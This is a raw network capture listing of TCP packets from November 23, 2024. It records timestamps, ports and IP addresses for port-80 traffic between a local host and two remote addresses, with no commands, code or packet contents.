Nov 23, 2024 11:22:22.507824898 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.507869005 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.508604050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.508742094 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.508786917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.509481907 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.509604931 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.510525942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.510565996 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.603081942 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.612696886 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.671883106 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.671933889 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.671977997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.672219038 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.672382116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.672434092 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.673156023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.673290014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.673681021 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.674119949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.674212933 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.674266100 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.675035000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.675116062 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.675193071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.676022053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.676141977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.676186085 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.676903009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.677016020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.677097082 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.677850962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.677963972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.678004026 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.678807974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.679008007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.679054022 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.679754972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.679805040 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.679850101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.680677891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.680782080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.680882931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.681602955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.681755066 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.681798935 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.682729959 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.682750940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.682790041 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.683473110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.683592081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.683639050 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.684434891 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.684524059 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.684562922 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.685369015 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.685471058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.685513973 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.686290026 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.686513901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.686554909 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.687253952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.687391043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.687504053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.688164949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.688268900 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.688318968 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.689110994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.689224958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.689301968 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.690026045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.690145969 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.690195084 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.691019058 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.691035032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.691092014 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.691916943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.692047119 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.692090988 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.692867041 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.692930937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.692972898 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.693850994 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.693938017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.694077015 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.694740057 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.694849014 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.694894075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.695664883 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.695753098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.695796013 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.696593046 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.696738005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.696795940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.697542906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.697679043 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.697732925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.698486090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.698537111 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.698581934 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.699450016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.699587107 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.699626923 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.700360060 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.700418949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.700464010 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.701491117 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.701594114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.701642036 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.702219009 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.702363968 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.702441931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.703144073 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.703248024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.703291893 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.704118967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.704248905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.704299927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.705043077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.705169916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.705235958 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.705987930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.706141949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.706180096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.706931114 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.707036018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.707101107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.707855940 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.708005905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.708049059 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.708786964 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.709014893 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.709055901 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.709714890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.709794044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.709837914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.710689068 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.710783958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.710840940 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.711601973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.711689949 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.711728096 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.712564945 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.712667942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.712709904 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.713491917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.713619947 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.713663101 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.714428902 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.714546919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.714589119 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.715357065 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.715445995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.715488911 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.716283083 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.716455936 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.716515064 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.717250109 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.717328072 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.717371941 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.718193054 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.718252897 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.718302011 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.719115973 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.719280005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.719336987 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.720071077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.720202923 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.720300913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.720979929 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.774909019 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.792716980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.792749882 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.792767048 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.792783976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.792798042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.792851925 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.792881012 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.792890072 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.792911053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.792921066 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.792942047 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.792960882 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.792984009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.793003082 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.793018103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.793028116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.793039083 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.793065071 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.882150888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.882268906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.882319927 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.882364988 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.882518053 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.882569075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.883403063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.883641958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.883735895 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.884406090 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.884607077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.884665966 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.885222912 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.885255098 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.885304928 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.886152029 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.886194944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.886241913 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.887079000 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.887183905 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.887265921 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.888091087 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.888252020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.888328075 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.888976097 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.889019966 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.889064074 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.889919996 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.889977932 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.890028000 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.890825987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.890928984 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.890978098 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.891829967 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.891963005 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.892030954 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.892755032 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.892853975 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.892903090 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.893800974 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.893882990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.893939972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.894594908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.894762993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.894812107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.895534992 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.895600080 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.895765066 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.896492958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.896524906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.896604061 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.897406101 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.897489071 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.897535086 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.898439884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.898611069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.898655891 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.899329901 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.899409056 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.899450064 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.900223017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.900330067 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.900379896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.901123047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.901232958 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.901290894 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.902074099 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.902143955 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.902229071 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.903002024 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.903105021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.903168917 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.903959990 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.904093981 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.904144049 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.904939890 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.905020952 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.905069113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.905821085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.905951977 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.906002998 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.906754017 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.906940937 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.906987906 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.907727003 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.907828093 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.907871008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.908668995 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.908715963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.908798933 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.909574986 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.909677982 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.910048008 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.910521030 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.910617113 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.910661936 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.911467075 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.911581993 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.911624908 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.912421942 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.912498951 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.912522078 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.912542105 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:22.912574053 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.912585974 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.912600040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:22.913355112 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.913469076 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.913645029 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.914277077 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.914423943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.914484978 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.915211916 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.915262938 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.915373087 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.916141987 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.916275978 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.916322947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.917078972 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.917224884 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.917299986 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.918045044 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.918138027 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.918194056 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.918987989 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.919142962 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.919198990 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.919914007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.920017004 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.920079947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.920840979 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.920965910 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.921015024 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.921798944 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.921946049 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.922760010 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.922811031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.922823906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.922864914 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.923645020 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.923791885 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.924451113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.924592018 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.924717903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.925540924 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.925594091 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.925692081 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.925734997 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:22.926505089 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:22.926712990 CET	80	49786	34.116.198.130	192.168.2.4
